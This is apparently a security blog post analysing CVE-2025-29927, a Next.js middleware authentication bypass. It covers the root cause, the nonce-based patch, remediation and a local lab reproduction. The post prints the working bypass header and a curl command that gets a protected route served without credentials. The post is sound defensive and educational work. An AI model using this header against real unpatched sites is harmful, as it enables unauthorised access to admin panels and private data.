June 10, 2026
N-Day Analysis: CVE-2025–29927 — How One HTTP Header Bypasses All Next.js Middleware Auth
One header. No credentials. Full authentication bypass.
Swapnil Deshpande
4 min read
That's CVE-2025–29927 in a sentence. If your Next.js app uses middleware to protect routes — admin panels, dashboards, payment pages — an attacker could walk right past that protection by adding a single HTTP header to their request. No brute force, no token theft, no session hijacking. Just a header.
This post breaks down how it works, why it existed, what the fix looks like, and how to reproduce it in a local lab.
CVE at a Glance
FieldDetailsCVE IDCVE-2025–29927CVSS Score9.1 (Critical)Affected versionsNext.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5Patched in15.2.3, 14.2.25, 13.5.9, 12.3.5Patch PRs#77201 (v15), #77424 (v12 backport)
Background: What Next.js Middleware Does
Next.js middleware lets you run code before a request reaches a route handler. It sits at the edge of your app — before any page logic runs — making it a natural place to enforce authentication, redirects, rate limiting, or geofencing.
A typical auth middleware looks like this:
// middleware.ts
import { NextRequest, NextResponse } from "next/server";
export function middleware(request: NextRequest) {
const session = request.cookies.get("session");
if (!session) {
return NextResponse.redirect(new URL("/login", request.url));
}
return NextResponse.next();
}
export const config = {
matcher: ["/dashboard/:path*"],
};// middleware.ts
import { NextRequest, NextResponse } from "next/server";
export function middleware(request: NextRequest) {
const session = request.cookies.get("session");
if (!session) {
return NextResponse.redirect(new URL("/login", request.url));
}
return NextResponse.next();
}
export const config = {
matcher: ["/dashboard/:path*"],
};Simple and clean: no session cookie, no entry. This pattern is extremely common in Next.js apps. The problem is that the entire thing can be skipped with one HTTP header.
Root Cause: A Recursion Guard Became an Attack Surface
To understand the vulnerability, you need to know why the x-middleware-subrequest header exists in the first place.
Next.js middleware can trigger subrequests — for example, when middleware calls fetch() internally or rewrites a URL. If middleware triggers a subrequest to a route that also runs middleware, you can end up in an infinite loop. To prevent this, Next.js tracks which middleware has already run in the current request chain by passing their names in an internal header: x-middleware-subrequest.
The relevant logic lives in packages/next/src/server/web/sandbox/sandbox.ts in the Next.js source:
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce(
(acc, curr) => curr === params.name ? acc + 1 : acc,
0
);
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, { headers: { 'x-middleware-next': '1' } })
};
}const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce(
(acc, curr) => curr === params.name ? acc + 1 : acc,
0
);
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, { headers: { 'x-middleware-next': '1' } })
};
}The intent is legitimate: if middleware named middleware has appeared 5 times in the subrequest chain, assume it's a loop and skip execution.
The flaw: this header was never validated as internal-only. Any client — a browser, curl, Burp — could send x-middleware-subrequest in a request. The server had no way to distinguish "this header was set internally by Next.js" from "this header was set by an attacker."
So an attacker just needs to send the middleware name repeated 5 times:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middlewarex-middleware-subrequest: middleware:middleware:middleware:middleware:middlewareNext.js reads it, counts 5 occurrences of middleware, hits depth >= MAX_RECURSION_DEPTH, and skips your auth check entirely.
This is a trust boundary failure. An internal mechanism was exposed to the external attack surface with no validation.
The Patch: A Server-Side Nonce
The fix in 15.2.3 is clean. At server startup, Next.js generates a random 8-byte nonce:
// Runs once at startup
const subrequestId = crypto.randomBytes(8).toString('hex');
global[Symbol.for('@next/middleware-subrequest-id')] = subrequestId;// Runs once at startup
const subrequestId = crypto.randomBytes(8).toString('hex');
global[Symbol.for('@next/middleware-subrequest-id')] = subrequestId;Every legitimate internal subrequest now includes this nonce in a second header: x-middleware-subrequest-id. Before skipping middleware execution, the server validates the nonce matches:
const subrequestId = request.headers['x-middleware-subrequest-id'];
const expectedId = global[Symbol.for('@next/middleware-subrequest-id')];
if (subrequestId !== expectedId) {
// Treat as external request — run middleware normally
}const subrequestId = request.headers['x-middleware-subrequest-id'];
const expectedId = global[Symbol.for('@next/middleware-subrequest-id')];
if (subrequestId !== expectedId) {
// Treat as external request — run middleware normally
}An external attacker can't forge the nonce because it's generated with crypto.randomBytes and never exposed in responses.
One residual weakness worth noting: the nonce is static for the lifetime of the server process — it only rotates on restart. If an attacker were somehow able to leak the nonce (e.g., through a separate information disclosure vulnerability), they could forge subrequests until the server restarts. This isn't a flaw in the patch's design so much as a constraint of the approach — a per-request token would be stronger but would require significant architectural changes.
Reproduction: Build the Lab
I built a minimal lab to reproduce this. The full code is on GitHub: SwapnilDeshpande/cve-2025–29927-lab.
Requirements: Node.js 18+
Setup:
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # installs Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # installs Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001The app has:
- / — public home page
/login— public login page/dashboard— protected by cookie-based middleware auth
Step 1 — Confirm the middleware works normally:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307 (redirected to /login)curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307 (redirected to /login)Step 2 — Bypass it:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200 (dashboard served, no session cookie needed)curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200 (dashboard served, no session cookie needed)Step 3 — Confirm the patch blocks it:
# Upgrade to patched version
npm install next@15.2.3
# Restart the dev server, then repeat Step 2
# → 307 (bypass no longer works)# Upgrade to patched version
npm install next@15.2.3
# Restart the dev server, then repeat Step 2
# → 307 (bypass no longer works)The comparison speaks for itself:
RequestVulnerable (15.2.2)Patched (15.2.3)No cookie, no header307307No cookie + bypass header200307Valid session cookie200200
Impact
Any route protected exclusively by Next.js middleware was bypassed. In practice, that means:
- Admin panels can be accessed without authentication
- Paywalled or subscription-gated content can be read freely
- Internal API routes that rely on middleware role checks are reachable by anyone
- Any redirect-based access control can be skipped entirely
The attack requires no special tooling — curl or Burp Suite with one added header is sufficient. It's also completely unauthenticated and leaves no unusual trace in application logs, since the request reaches the route handler looking like a normal internal subrequest.
Remediation
Immediate: Upgrade to a patched version.
Current versionUpgrade to15.x15.2.3+14.x14.2.25+13.x13.5.9+12.x12.3.5+
Broader lesson: This CVE is a good reminder that middleware-only authentication is fragile by design. Middleware runs at the edge and is optimized for speed — it's the right place for routing decisions, but your actual auth validation should also happen in the route handler or server action itself. A defense-in-depth approach means that even if middleware is bypassed, the underlying route still verifies the session.
Think of middleware as a guard at the building entrance. Helpful, but you still want locked doors inside.
Conclusion
CVE-2025–29927 is a textbook trust boundary failure. An internal header designed to prevent infinite loops was never validated as internal-only, making it trivially exploitable from any external client. The patch is straightforward — a server-side nonce that external clients can't forge.
If you're running Next.js and haven't upgraded yet, do it now. And regardless of your framework version, consider whether your protected routes have a fallback auth check beyond middleware.
Thanks for reading. I'm working through n-day CVE analysis as a way to sharpen patch diffing and root cause skills — follow along on Medium or check the lab repo on GitHub.